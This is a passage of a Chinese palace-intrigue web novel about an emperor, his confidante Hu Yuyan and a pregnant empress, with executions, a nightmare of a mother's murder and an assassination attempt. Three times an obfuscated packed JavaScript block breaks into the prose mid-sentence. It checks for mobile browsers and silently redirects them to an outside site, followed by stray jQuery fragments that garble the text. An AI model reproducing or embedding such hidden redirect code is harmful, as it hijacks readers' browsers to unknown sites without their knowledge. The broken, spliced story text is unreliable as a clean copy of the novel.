胡玉烟却不理他,转而跪坐在他膝上,掌心覆住他衣襟,一点点解开。
话音未落,她已吻了上去。
帘影摇曳,灯光斜照,殿中渐渐只余衣带轻响,和风中迷离的低喃。
4. 萱草(一)
大仇得报,赵长昭不再需要谨小慎微,不再需要与人低声周旋。他从未有过这般快活,下了诏令辍朝一月,日日只与胡玉烟缠绵作乐。
昔日残破冷落的殿宇被推倒重建,金碧辉煌的宫殿层层叠起,朱瓦琉璃,雕梁画栋。他纵情享乐,任由珍馐佳肴堆满几案,玉盏流光,杯中美酒不绝。
二人携手走过新修的长廊,琉璃瓦映日生辉,远处工匠因过劳而倒地,哭喊声传来,胡玉烟一瞬心悸,却很快被赵长昭紧紧搂住腰身。
他低声在她耳畔道:“别看。”
于是她真的不看,只默默向前走。
香阁中,胡玉烟好似烦了他,僵笑着将杯中酒一杯接一杯往他嘴里灌,似是想要将他灌醉,离他而去。
赵长昭抓着她的手,凑上来亲她,胡玉烟却偏过头躲开。
“你是不是又想走?”赵长昭强硬地掰住她的下巴,有好几回他酒后醒来,身旁的人早就不见了踪影。
他又凑近了打着趣道:“玉烟……你若有一日要离开我,不如此刻便同我一并死去。”
他常怀疑自己病根未去,所以气血虚耗,可心底却生出一种奇异的快意。
胡玉烟知道自己不能和醉了的赵长昭讲道理,只睁着眼,作无辜状摇摇头。
赵长昭无奈从她头上拔下一根簪子捏在手中把玩,胡玉烟不与他争辩,又见席间丝竹不断,舞女衣袖翩飞。
她干脆起身步入舞阵,随着乐声旋转,衣襟扬起,鬓边簪花摇摇欲坠。她还穿着女官的服侍,步伐也生涩,却偏偏在此时得了趣。
赵长昭也欢喜,他目不转睛地盯着胡玉烟,拿着手中发簪在桌沿上一下一下敲着节奏,酒水溅开却全然不顾。
二人正在兴头上,这时一个宫女垂着头进来禀报。
“启禀陛下,宣国夫人求见,她说一定要见您。”
赵长昭反应了一下才回过味宫女的意思,不自主地拧紧了眉头。
“宣见。”
丝竹声停,舞姬也一一散去。胡玉烟一把将发簪夺回戴回头上,又理了理衣襟端正地站好,好似自己只是一个为君分忧的宫廷女官。
不多时宣国夫人一袭素白,发丝凌乱,神情凄惶地奔入殿中。
“陛下——”她扑倒在地,声泪俱下,仿佛受了莫大委屈。
赵长昭捏了捏眉心,不耐烦地道:“姨母如今受封宣国夫人,乃是一品诰命,今日披发奔殿,是要让天下人笑朕皇恩错授吗?”
宣国夫人伏地重重叩首,声音哽咽。
“陛下既唤妾身一声姨母,妾身便斗胆恳求陛下,饶过那几个孩儿。他们虽姓上官,却也是您的亲表弟啊……”
“住口!”赵长昭猛地抬手,将案几上的瓷盘掷落在地,碎瓷四溅,“你还敢提这话!”
“你的夫君是上官楚的侄子,朕念你是太后亲妹,不杀你反而晋你诰命。你却还敢求宽赦?你可知上官氏如何羞辱朕,羞辱太后!太后无曾享过一日尊荣,姨母如今诰命加身,还有什么不满足?”
宣国夫人泪如雨下,磕得额头见血。
“陛下纵不顾血亲之情,也请怜妾身为人母,容我见孩子一面……只一面,妾身便心甘。”
赵长昭闻言,冷笑出声,眸中怒意愈盛,“那姨母可曾想过太后?她是不是也想见朕?她也只是想见儿子一面罢了!”
见宣国夫人一个劲地失声痛哭,赵长昭苦笑一声,一甩袖便背过身去。
“皇家亲缘向来薄如纸,姨母若执意牵情揽义,朕也可成全你,赐死便罢!”
听得此言,宣国夫人脸色骤变,眼底一闪慌乱,本还伏地哀求的身体顿时僵住了。她嘴唇发颤,终究没能再磕下去。
胡玉烟冷眼看着她的踌躇与惧意,忽而嗤笑出声。
赵长昭的耐心已用尽,他不耐烦地挥了挥手,“来人!将宣国夫人拖出去,赐毒酒,尸身同她夫君扔在同一处乱葬岗。”
内侍闻令上前,几人将宣国夫人架起。她终于忍不住放声痛哭,哭声在殿中回荡:“陛下!妾身是太后的亲妹,是您的姨母啊!求您垂怜——”
见闹剧结束了,胡玉烟僵直的脊背慢慢卸了力,赵长昭仍端坐着,冷得像块冰,一动不动。
胡玉烟沉默片刻,终于抬手,像从前那样将手覆上他的肩。
“宣国夫人与上官家的亲事本是上官楚强行促成,为的就是离间朝臣,宣国夫人一介妇人目光狭隘,不必让她扰了陛下的兴致。”
赵长昭顺势靠在胡玉烟身上,捏着眉心低声道:“我想睡会儿,一会儿等我醒来,想一睁眼就能看见玉烟。”
胡玉烟将酒盏重新放回小几上,又将他肩头的袍子轻轻拢了拢。
“陛下累了,歇一歇罢。”
宣国夫人这么一闹,赵长昭压抑上的怒火又燃了起来,一夜之间,他便下旨查抄上官家在京的几处庄园与商号,连夜捉拿尚未入狱的旁支族人入诏狱问审。御史台、锦衣卫、都察院三路并行,不分昼夜清剿党羽,朝中一时风声鹤唳。
“凡与上官氏有牵连者,不论男女,不论老者婴儿,一律详查,知情不报者,同罪论处。”他亲笔写下诏书,又加盖了印章,满意地笑了笑。
宫人们都不敢出声,只觉得殿中寒气逼人,连膝下石砖都透着冷意。
上官楚的尸身还未入京,赵长昭勉强用了第一批斩杀的上官家亲眷的头颅作祭典。
御书房中烛火微晃,映得室内一角忽明忽暗。赵长昭独坐于案前,几张画纸凌乱摊开,墨痕深浅不一,皆是半成的女子画像。
他屏气凝神,在宣纸上再度落笔,描一双眉,再勾出眉下的眼,却总觉得不对。那神情不够温柔,眉眼也不够熟悉。
他握着画笔的指节微微发白,终是烦躁地一拂,将整张纸揉成团丢在地上。
地上早已堆满了废弃的画稿。他跟自己置了气,沉默地坐着,眼角不知何时渗出一滴泪。
接下来的两天,赵长昭干脆将自己关在了御书房,日日只描容画像,可终究是不满意。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333473|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他气极,将废稿尽数丢进火盆,接着又抄起酒壶,一口接一口。
醉意翻涌之际,他忽而低笑出声。
朦胧中,他看见一个妇人立在他面前,她发间已有白丝,神情疲惫,泪眼婆娑,却还是强撑着朝他露出一个熟悉的笑。
“阿娘……”赵长昭哽咽着扑进她怀里,像个终于回家的孩子。
可下一瞬,梦境翻转,上官楚端着一盏酒缓步而来。
妇人微微迟疑,终是接过酒盏,眼含泪意地望了他一眼,似有千言未吐。
“阿娘!不要——”他哭喊着想要把酒打翻,可几个内侍将他压制得动弹不得。
上官楚扬了扬脖子,妇人顺从的将酒饮下,然后带着泪闭了眼睛。
赵长昭无助地哭喊着,上官楚扯住他的头发令他看向自己,赵长昭被这人的气息吓得一瑟缩。
上官楚笑了。
“不错,你的眼里没有愤恨,全是恐惧和悲伤。”
他松开赵长昭,转过头冷声道:“酒里没毒。”
赵长昭破涕为笑,挣脱了束缚,跪地叩首如狂,“多谢上官大人,谢上官大人隆恩!”
上官楚却大笑出声,语气轻蔑:“没毒,只是我喜欢捉弄猎物罢了。”
话音未落,两名内侍已上前,将一条雪白的绫子搭在妇人颈上。
赵长昭脸色煞白,嘶声挣扎着爬过去,死死抓住上官楚的靴子,哀求之语未出口,便听见身后一声勒紧的布响。
他猛然回头,只见母亲双眼圆睁,手指徒然地向他伸来。
他拼尽全力向前扑去,却终究没能触到她的指尖,只眼睁睁看着她在自己面前断了气息。
上官楚满意地看着脱力倒在地上的赵长昭,扬了扬下巴,“陛下,你登基之后这两个内侍便是你的贴身侍从了。”
紧接着画面渐渐模糊,只剩下一片惨白。
等赵长昭睁开眼,正见一女子俯视着他。他眨眨眼,视线变得清晰,待看清了眼前的人,他会心一笑。
轻唤道:“玉烟……”
胡玉烟抬手触了触他的额头,案几边一盏灯还亮着,昏黄的光洒在地面上,勾出一片散乱的纸屑与未干的墨痕。
胡玉烟从身旁的小几上提起一盏温着的茶,赵长昭就着她的手饮下。
胡玉烟又从手边拿出一张稿纸递上。
赵长昭颤着手接过,纸页尚带着些许未干的墨香。
赵长昭怔怔望着画,指腹缓慢摩挲其上慈和的妇人面容,他带着几分恍惚喃喃出声:“玉烟的画技真好……”
胡玉烟抿了抿唇,“我为婆母奉茶两年,她待我极好。”
赵长昭陷入回忆,不一会儿又接着她的话道:“那看样子,玉烟生来就是要做我赵家的儿媳的。”
胡玉烟也觉得他这话好笑,干脆轻笑出声。
赵长昭捏着画纸,长长地叹了一口气,又撑起身子,借着烛光想要将画看得更仔细,胡玉烟任由赵长昭靠着自己,两人的视线皆落在画上。
5. 萱草(二)
胎月渐大,郑黛这几日胃口愈发不佳。
胡玉烟并未如约常来看她,她一开始还出门走动,甚至碰见过赵长昭一次,但对方只对她点点头,很快就走开了。
她如同猎物半本能地对赵长昭感到恐惧,也从不曾期待过什么。
后来她便整日将自己关在寝殿中,盘玩着霍九郎留给她的玉坠,安安心心养着胎儿,做一只金笼中的鸟。
除了进食和歇息,她还开始试探着向宫女们打听消息。
她得知那位一手遮天的大佞臣上官楚身死后,皇帝第一时间废黜了上官皇后和太子。又过不久,上官皇后染上疫症,小太子也相继病亡。
她得知皇帝对上官皇后恨之入骨,不许她葬入帝陵,连一个象征尊荣的名分都未留下。
她还得知皇帝的后宫中从前只有上官皇后,而今只有她。
更让她心惊的是,皇帝如今年过二十却无子嗣,除了……她抚摸着自己又圆鼓了许多的小腹。
没有哪个皇帝可以容忍自己的皇后诞下别人的骨肉,除非……
郑黛手指微颤,脑中冒出一个念头,他根本不在意皇位。
那样一个人,不在意权柄、不在意子嗣、不在意忠奸,不在意这世间的一切,他究竟在意什么?
郑黛躺在摇椅上,思索着逐渐睡去。
后来胡玉烟再来看她时,她们从时新的衣裙妆容聊到小孩儿的新衣大小,谈话内容再也不包括赵长昭。
胡玉烟说,陛下给她的母亲封了诰命,她父亲从宿州知府成了京官。
郑黛摇了摇头,若不是因为一道封后的圣旨,她早死了,如今的时光都白捡的。
她在皇宫中悄无声息地活着,直到某日,一个宫女领着一个小孩走进她的寝殿。
“这是文帝的遗孤,陛下旨意,让皇后养在膝下。”请命的内侍朝她躬身行礼。
那孩子有礼地上前拱手,规规矩矩地朝她问安。
“你叫什么?”郑黛问。
“云晋。”
“多大了?”
“九岁。”
郑黛心中一动,默默算了算年头,文帝早逝,这孩子应是个遗腹子。能在上官楚掌权时苟活至今,实属不易。
她没有再多言,只轻轻侧身,示意宫人将他领进来安置。
文帝亡后,皇位传给弟弟成帝,成帝亦未久寿,又将皇位交给了如今的陛下。三朝更迭,竟还留得这么一个血脉。
这孩子乖巧安静,与郑黛相处得意外地融洽。自从他来了,寝殿里多了几分生气,她的日子也随之有了些活气。
胡玉烟时常前来作陪,郑黛一天天显怀,心绪却不再如往昔那般惶惶不安。
上官皇后的下场她已猜到,许多事并非能由她掌控,既如此,又何必日日纠结于无解之事?
又是一日清晨,宫人来传话,说是一位贵客入宫,要皇后梳洗整肃,以迎来人。
郑黛听了是胡玉烟的安排,走出寝殿,远远望见那立在穿着宿州旧衣的老妇时,心头猛地一震。
郑黛几乎是不顾仪态地快步奔过去,眼前一阵模糊,只觉什么都听不清了,只剩心跳声一下一下重重撞在胸口。
“阿娘!”
母女二人相拥而泣。
胡玉烟立在回廊尽头,远远望着庭中那对母女相依的身影,唇角依旧含着宫中女子温婉的笑,只是因了此情此景添了几分落寞。
“姑姑?”慧儿轻声唤她。
胡玉烟走了几步,带着笑看向她,“你应该也许久未见家人了吧,下次出宫时特许你在宫外多待一日。”
“多谢姑姑!”慧儿喜笑颜开。
胡玉烟整了整衣袖,转身离开皇后的凝晖宫,正欲登辇时,目光忽然落在一名洒扫宫女身上。
她眼神一顿,淡淡开口:“你叫什么名字?”
宫女脸色一白,低头行礼。
“回……回尚宫,奴婢名唤小霜,是三月里才调来的。”
胡玉烟微微眯眼,轻声一笑,“本宫怎么觉得,你以前是在上官皇后跟前伺候的?”
那宫女一下子跪倒在地,连连磕头,“不、不敢!奴婢……奴婢从不曾接近上官家的人!”
胡玉烟盯着这个小宫女,只犹豫了一瞬,便挥手轻描淡写地吩咐。
“拖出去,杖毙。”
宫女惊呼被堵住,胡玉烟只淡淡地理了理被风吹乱的鬓发,随后登上步辇。
胡玉烟到了花苑,赵长昭已经等候多时了,见她来了立刻迎上去。
赵长昭伸手扶着她从步辇上下来,殷切道:“快来,我命人从南地捕了白瑚鱼千里加急送来元都,一路颠簸只剩下了四只活鱼,让人做了鱼脍,阿烟快尝尝。”
胡玉烟见了琉璃盘上晶莹剔透的鱼肉,笑道:“白瑚鱼难得,我倒是有口福了。”
赵长昭替她布菜,“玉烟喜欢就好。”
胡玉烟夹起鱼肉咽下,肉质有些柴了还隐隐发苦,并不似从前滋味。
“长昭可是有什么喜事?”胡玉烟瞧着他的兴致颇高。
赵长昭笑意盈盈,“今日是我的生辰,阿烟总不会忘了吧?”
胡玉烟拿筷子的手顿了顿,她只记着将郑黛娘亲接入宫团聚,确实将赵长昭的生辰忘了。从前他们受上官楚磋磨,倒是每每苦中寻乐,如今怎么反而情缘淡薄了。
“自是没忘,但生辰礼得夜里再拿给陛下。”胡玉烟答得自然,心中惭愧。
赵长昭浅浅一笑,夹起鱼肉喂她,又挥手吩咐乐人奏起新调。
花苑中一时间琴瑟悠扬,宫人们退得远远的,只余两人席地而坐,饮酒谈笑,仿若世间再无旁人。
抚琴人弹错了一个音,紧接着,吹笛的乐人闪身一动,从袖中取出一柄短刃直刺赵长昭胸口!
胡玉烟先一步注意到了异动,来不及反应只是几乎本能地冲了上去挡在赵长昭身前。
“小心!”
刺客身手极快,绕过她短刃一偏,仍在赵长昭肩头划出一道痕。
几名侍卫很快制住了人。
赵长昭尚未反应过来,只见衣裳破了,肩头受了点皮外伤,渗出点点血珠。
“护驾!护驾!”胡玉烟呵斥着,又来细细检查赵长昭的伤口。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333474|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
刺客被压在地上,徒劳地挣扎了两下。
赵长昭擦了擦手,淡定地坐下冷声道:“严刑拷打问出幕后主使,若什么都不说,就剁碎了喂狗。”
刺客被拖了下去,胡玉烟焦急地命人传太医,赵长昭却按住她的手。
胡玉烟怔愣,“这是做什么?”
赵长昭只看着她,忽然在她额上落下一吻,轻笑道:“阿烟护我,阿烟爱我。”
刺客行刺,她本能地冲在赵长昭身前,身体的第一反应骗不了人。
胡玉烟心中一阵滚烫翻涌,一时竟不知是惊惧还是恼怒。那人方才命悬一线,如今却还能笑着说出那样的话,仿佛刀剑加身都不足挂齿。
她只觉胸口堵得发闷,怒意未消,却又被一种更深更沉的情绪淹没。
她亲友早已死尽,这世间只剩他一人还能牵动她的心绪。
赵长昭是真的高兴,不愿看太医,只撒着娇央求着胡玉烟陪他接着饮酒取乐。
不多时他便有了醉意,眼神迷离,言语疯癫,竟夺过乐人的琴胡乱拨弄。琴音呕哑嘲哳,难听得很,胡玉烟实在听不下去,轻轻拉了拉他的衣袖。
“长昭别弹了,先歇一歇。”
赵长昭却突然像想起了什么,拉住她的手快步跑开,醉意里还带着几分执拗的雀跃。
胡玉烟被他牵着走,只得加快脚步跟上,直至两人一前一后停在了祠堂门前。
她的脚步顿住,声音也冷下来,“长昭……你醉了。”
赵长昭却不管不顾,握着她的手心轻轻摩挲,低声道:“我这阵子常常头疼,也总是梦见皇兄。”
“今日是我的生辰,我们一起去看看他,好不好?”
胡玉烟想抽回手,却被他紧紧攥住,指节发白,不容分说。
“来,我们一同去见皇兄。”他说着,与胡玉烟十指相扣,几乎是赌气地拉她往祠堂里走。
祠堂中,正中摆着一座描朱排位,写着“顺成华皇帝”五字,牌位前还供着一幅帝王画像,画中人着龙袍戴金冠,相貌俊逸,年岁也轻。
赵长昭挺直脊背仰头望着画像,死攥胡玉烟的手,忽而高声唤道:“皇兄!你看到了吗?”
“我喜欢玉烟,玉烟也甚爱我!”
“赵长昭!你别发酒疯!”胡玉烟厉声喝止,面色已惨白如纸。
可赵长昭不以为意,反倒屈膝跪下,沉声行了大礼,重重磕下头去,额头碰在石板上,闷响连连。
“求皇兄成全!”他说。
血从额间渗出,他却还重复着磕头的动作,“求皇兄成全!”
“够了!你疯了吗!”胡玉烟猛地扯住他的袖子,想将他拉起来,谁知被他反拽了一把,重心不稳,整个人扑跪在他身旁。
她气息不稳,眼眶一点点泛红,却不知是怒是悲。
赵长昭却忽然轻笑,转头望着她,眼中醉意未散,将自己的额头贴向她的,与她十指相扣,低声道:“玉烟,我们……也算是拜过高堂了。”
胡玉烟也跟着笑出声,余光瞄向那画,画中人栩栩如生,仿佛下一刻就要从画上走下来。
6. 腊梅(一)
合和七年,赵国国君赵之明吐血暴亡。辅政大臣上官楚旋即扶立年仅十七岁的赵之明堂弟赵长曙登基为帝,擢选其侄女高氏为皇后。
王府一隅,白绫紧缠着少女纤细的脖颈。
垂死挣扎间,一位面目狰狞的老妇正死死拉扯着绫绳。两旁侍女跪地哀哭,却无力阻止。
忽而大门被猛得一脚踹开。
老妇手上卸了力气,猝不及防被猛力一脚踢翻在地。
赵长曙冲进屋内,将瘫软倒地的胡玉烟拥进怀里,声音颤着道:“阿烟,上官楚收回成命了,没事了,没事了。”
胡玉烟惊魂未定,劫后余生的委屈与惊惧一齐涌上,害怕地失声痛哭起来。
赵长曙目光森冷,转头厉声喝道:“滚出去!”
老妇不屑地冷哼一声,踉跄着爬起,狼狈地跌出门槛。
胡玉烟眼角滑落一滴泪,平复着呼吸,慢慢将自己缩进赵长曙怀里,死死攥着他的衣角。只因她的夫君就要做皇帝了,一切都天翻地覆。
突然遇上这样的变局,整个王府都笼上一层阴霾。
新帝登基,朝政大权仍牢牢掌握在上官楚手中。
赵长曙披金龙袍、戴冕冠,神情肃穆。皇后高氏端立其侧,朝堂上百官三呼万岁,跪拜不休。
而此时的王府内,胡玉烟正仰卧于榻,望着帐顶发呆,她双目黯淡,早无昔日神采。
原本上官楚的意思,是让赵长曙赐死原配胡氏,另立高氏为后。赵长曙苦苦哀求,这才保住了她的性命,她得封淑妃,三日后将入宫。
屋外传来轻声的唤门。
“阿嫂?”
是个稚嫩的声音。
赵长昭在门前踟蹰许久,见屋内毫无动静,正欲离开之时,门却在这时悄然开启。
胡玉烟站在门内,勾起一抹浅淡的笑。
“是十三殿下啊。”
赵长昭上前行了一礼,再抬头时眼眶已泛红,“阿嫂……”
胡玉烟低垂着眼,伸手轻轻抚了抚他的头发,语气温柔。
“阿嫂不日便要进宫了,殿下若闲,也可常来看看我。”
赵长昭垂下头,低声道:“我害怕。”
“怕什么?”
“怕上官将军。”赵长昭压低声音,手指不安地揉搓着,“他们都说,是他害了先帝……”
胡玉烟忙摇头制止,眉目间透出一丝凝重。
先帝赵之明并无重疾,却突然吐血而亡,实在蹊跷。而如今的朝政尽归上官楚掌控,废一立一,不过是换个更听话的傀儡。
“我担心哥哥……也担心阿嫂。”赵长昭眼眶通红,泪意泛起。
胡玉烟索性蹲下,与他并肩坐在门槛上,轻声安抚,“你王兄聪明得很,殿下不必担忧。倒是你要多留意长昕,他还年幼,又尚未立府。”
赵长昭乖巧地点点头。
她说得平静,心中却是一片不安。上官楚连君王都敢谋害,又何惧旁人?江山姓赵的日子,只怕是屈指可数了,到时候他们都不会善终。
三日转瞬即过,胡玉烟梳洗打扮后穿上妃子的吉服,最后又望了一眼王府便登上入宫马车。
马车刚起步,身后却传来喊声,胡玉烟连忙令人停下。掀帘一看却是长昭、长昕两兄弟,身后还有两个丫鬟搀着一个妇人。
“阿娘!”胡玉烟面露喜色,欢快地从车上跑下来。
母女二人抱做一团。
“傻孩子,不是十三殿下,我连你一面也见不上了。”
胡玉烟眼眸低垂,“女儿眼下处境艰难,实在不便与家中多来往,还望双亲大人保重身体,莫要牵连进去。”
“姐姐。”她话未说完,一个小男孩扯了扯她的衣裙。
“九弟都这么大了啊。”胡玉烟一把将他抱起,掂量着小孩儿的重量,憋了许久的眼泪终究是忍不住落了下来。
赵长昭挺直了身子,他不过十岁却俨然像一个小大人,“阿嫂此去不知何时归,千万保重。”
他忽而掀开手中竹篮上的棉布,从中抱出一只小狸猫。
“阿嫂送我的虎将军下了崽,我挑了只最好看的,送你做个伴。”
小猫被他拎着后颈皮,张嘴“喵”地一叫,软绒绒的模样颇为可爱。
胡玉烟忍不住笑了,接过猫儿轻抚其背,“猫儿乖巧,殿下有心了。”
胡夫人抹了抹泪,长街相送,不过匆匆一面就要各自分别了。
胡玉烟从马车中探出头,一直望啊望,直到再也看不见母亲的身影。
眼下正是春寒的时候,连皇宫也萧条破败。胡玉烟由妻降为妾,又是赵长曙苦苦哀求才得以保命。她知道自己的处境,入宫之后便称病谢客。除了每日按例前往高皇后宫中请安,其余时候从不出门,也不侍寝。
高皇后克扣她的衣食炭火,赵长曙都会悄悄送来。她知赵长曙的日子也难过,夫妻一体,虽只一墙之隔,却还是不见为好。
她起初还曾觉得,自己很重要,重要到上官楚要置她于死地。可后来她慢慢明白,他们根本没把她放在眼里,她不过是一个被遗落在深宫中的无用人。
这一年来,后宫又多了几位妃子,都是上官楚一派的人,也都依附着高皇后,起初高皇后还曾有意对她施以薄待,可见她一副淡漠姿态,也渐渐生了厌倦,索性懒得再与她计较。
四下无人之际,胡玉烟将背抵在冰冷的青砖墙上,四下静寂,耳边只有风声和猫儿低低的喘息声。
王府时的旧人她一个都未带入宫中,连两个自幼与她一同长大的贴身侍女也未能随行。如今连个能说知心话的人也无,只剩一夜复一夜的漫长孤寂。
那日她得了一块紫貂皮想要制一副手套赠给赵长曙,可她针线活做得极慢,花了整整一个冬天才做好,索性趁着天气还凉,自己戴了。
回想起从前成婚时的恩爱誓言,她与赵长曙都非背诺之人,只可惜造化弄人。
时间一点点过去,胡玉烟默默将偌大的寝殿过成了一座自囚的冷宫。唯一的慰藉,是赵长昭赠予的小猫儿。
小猫名唤玉团,性子温顺安静,极少乱跑,同她一般不爱喧闹,只在这凝晖宫内打转。春去秋来,玉团从一只团团滚滚的小猫,悄悄长成了伏卧榻边的大猫。
一日,她正给玉团梳着毛,偶然听得洒扫的宫女说上官楚的长子指挥不力在西南吃了败仗,三子还断送了性命,皇后娘娘又开始跟皇上闹脾气了。
胡玉烟的手顿了顿,嘴角却渐渐勾了起来,上官楚的心思昭然若揭,但凡能有什么事可以挫挫他的锐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333475|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气,她便打心里开心。
夜里,胡玉烟抱着玉团入眠。忽而门外传来了细微的动响,玉团受了惊,立刻从她怀里钻出,几下跳到床底躲了起来。
胡玉烟也醒了,她刚睁开眼,便见门开了一道口子,一个身影踏着月光带了一身寒气入门。
“舒郎……”胡玉烟红了眼,有些不信地看着眼前人。
赵长曙急切地一把将人拥进怀里,“阿烟,我好想你。”
胡玉烟摩挲着赵长曙的脊背,泪水很快沾湿了他的前襟,她进了这暗无天日的地方已经一年了,还从没有这般哭过。
“舒郎瘦了。”
两人紧紧拥抱着,泪水夺眶而出,都想将对方融进自己的骨血里。
开春了开始化雪,天气也暖和了些。
胡玉烟依偎在赵长曙怀里,窗外的雪水滴滴答答,两个人似有说不完的话。
这几个月来,赵长曙常来凝晖宫看她,两人话到嘴边都不言苦辛,只捡些有趣的说。
“玉团给自己找了个媳妇,最近总溜出去玩,有了媳妇忘了娘,白养它了。”胡玉烟俯在赵长曙身上小声嘀咕着,嘴上却是笑着的。
“它是想来年带一窝小猫崽子来给你作伴。”
说到小猫,胡玉烟想到赵长昭,“也不知十三殿下和十四殿下如何了?”
赵长曙在她额上落下一吻,“长昕冬日病了一场,上官楚将他们养在京郊王府,说是养着其实与软禁无异。”
胡玉烟暗自叹了口气,心中升起几分不安,又往赵长曙怀中蹭了蹭。
雪水簌簌压弯梅枝,惊落几点残红。
这日春光乍暖,高皇后似是心情欠佳,集会时又与其余妃嫔一起奚落了胡玉烟。胡玉烟心知是上官楚吃了败仗的缘故,瞧着众人刻意的模样,面上波澜不惊,心里却高兴。
途径花苑,见池边立着一个秋千,她忽而生了兴致,坐在秋千上摇摇晃晃地荡起来。
不一会儿,背后突然出现一双手,胡玉烟回头一看,来人正是赵长曙。
赵长曙笑地眼角弯弯,手上使了力气,将她越推越高。
风一阵阵佛过脸庞,明明是眼前人依旧,胡玉烟却有几分落寞,二人对视一眼,都扯出一个笑容。
玉团跟在胡玉烟脚边,又被一只小黑猫引了兴致,兴奋地上蹿下跳不一会儿便没影了。
二人就着秋千闹了一阵,好似许久不曾这般开心了。
是日天已半黑,胡玉烟却左等右等也没等到玉团回来。
她用完了膳想去寻一寻,一推开殿门,冷风扑面而来,玉团的尸体却静静横陈在门前台阶下。
她陡然止步,喉头一哽,惊叫出声。胸口像是被什么狠狠击碎,疼得她直不起腰。
那只小猫儿早已僵硬,原本柔顺的毛发失了光泽,沾满尘土,嘴角还残留着斑驳血迹。
她蹲下身,将它抱入怀中,那具小小的身躯早已冰冷。
一滴泪砸到尸体上,胡玉烟在老槐树下挖了个坑,将玉团埋了进去。
夜色深沉,胡玉烟却睡不着,她眼睛时睁时闭,呆呆地看着墙壁。就在她将要入睡时,房门被人推开。
“皇后急症,宣淑妃娘娘前去侍疾。”
胡玉烟睁了眼,淡淡道了声好。
7. 腊梅(二)
胡玉烟更衣整束,随传话的宫女前往皇后寝宫。
寝殿内灯火昏黄,高皇后卧于榻上,额头覆着一方湿帕。
胡玉烟小声问身侧的宫女,“可宣过太医了?娘娘这是怎么了?”
宫女回道:“娘娘染了风寒,正在起热。”
胡玉烟眉目低垂,风寒而已,听着并非是什么大病,宣嫔妃来侍疾,无非是想折腾一番罢了。
这时高皇后悠悠睁开眼,瞥见一旁无措站着的胡玉烟。
“淑妃来了?”
胡玉烟上前欠身施礼,已心知对方的不怀好意。
“嫔妾给皇后娘娘请安,娘娘万福。”
高皇后不答话,反而闭上眼睛。她走近几步,取下高皇后额上的丝帕,浸入水盆,拧干后轻覆回去。
做完这一切,她又识趣地半跪在一旁,宫女适时端来一碗刚熬好的汤药。
高皇后目光一转,略一示意,宫女便将药碗递到胡玉烟手中。
胡玉烟垂手接过,端得稳稳当当,正欲喂药,高皇后却又闭目道:“本宫乏了,想睡一会儿,醒后再喝。”
胡玉烟应声,正欲将药碗搁下,高皇后又淡声道:“药放久了,药性便散。淑妃既来了,不妨等我醒来。”
她声音轻慢,却含着三分威压。
胡玉烟心中沉了沉,却自知无可奈何,垂首道:“娘娘安眠,嫔妾在此伺候。”
她说罢仍端着药碗站在一旁。瓷碗极热,热意从指骨一直逼到掌心,她强忍不适,僵直着身子站了许久。
过了一会儿,帐中人却又悠悠开口:“淑妃这么站着,人影晃得我心烦,本宫睡不着。”
胡玉烟一顿,旋即会意,垂眉俯身缓缓屈膝将身形藏入榻侧阴影之中,双手依旧举着那碗药。
帐中人似是满意了,终于不再言语。
胡玉烟一动不动地跪着,眉头微微皱了起来,心头却仿若一池死水,了无波澜,一寸寸耗尽漫漫长夜。
她强撑着一夜未眠,直至晨光自雕花窗棂洒入殿内,地上的影子由深转淡。药碗中的汤药早已凉透,泛着一层浅浅的药渍浮沫。
帐中人适时悠悠醒转,声音沙哑而慵懒:“淑妃可在?”
胡玉烟如释重负地应道:“嫔妾在,娘娘凤体可好些了?”
高皇后轻哼一声,算是应答,接着道:“来,伺候我更衣。”
胡玉烟闻言立刻起身,方一动弹,才觉一夜跪姿已令膝骨麻木,双腿如灌铅般僵硬,身子一歪才堪堪站稳。
手中空荡,药碗不知何时已被宫女取去,只剩一股寒意滞留在指节之间。
她慢慢踱到榻前,替高皇后褪去寝衣,换上描金绣凤的常服,动作一贯细致妥帖,未有丝毫差错。
高皇后倚着妆镜,看着她垂首为自己系扣,她抬手拂过衣襟上的金线,状似随口道:“昨夜还算安分,若日日如此,本宫也不至厌你。”
胡玉烟垂首应是。
她话音刚落,宫人便高声通传。
“陛下驾到——”
胡玉烟连忙退到一旁,眼见着赵长曙快步走来。
他蹙着眉,瞥了眼边上的胡玉烟,对着高皇后道:“听闻皇后病了。”
高皇后本要走,此时又慢悠悠地坐下,抬起眼看着赵长曙,不愿意露个好脸色。
“是啊,臣妾病了,幸得淑妃照顾,怎么陛下不像是来关心臣妾的,倒像是来问罪的?
赵长曙直言:“我看皇后气色甚好,不像在病中。”
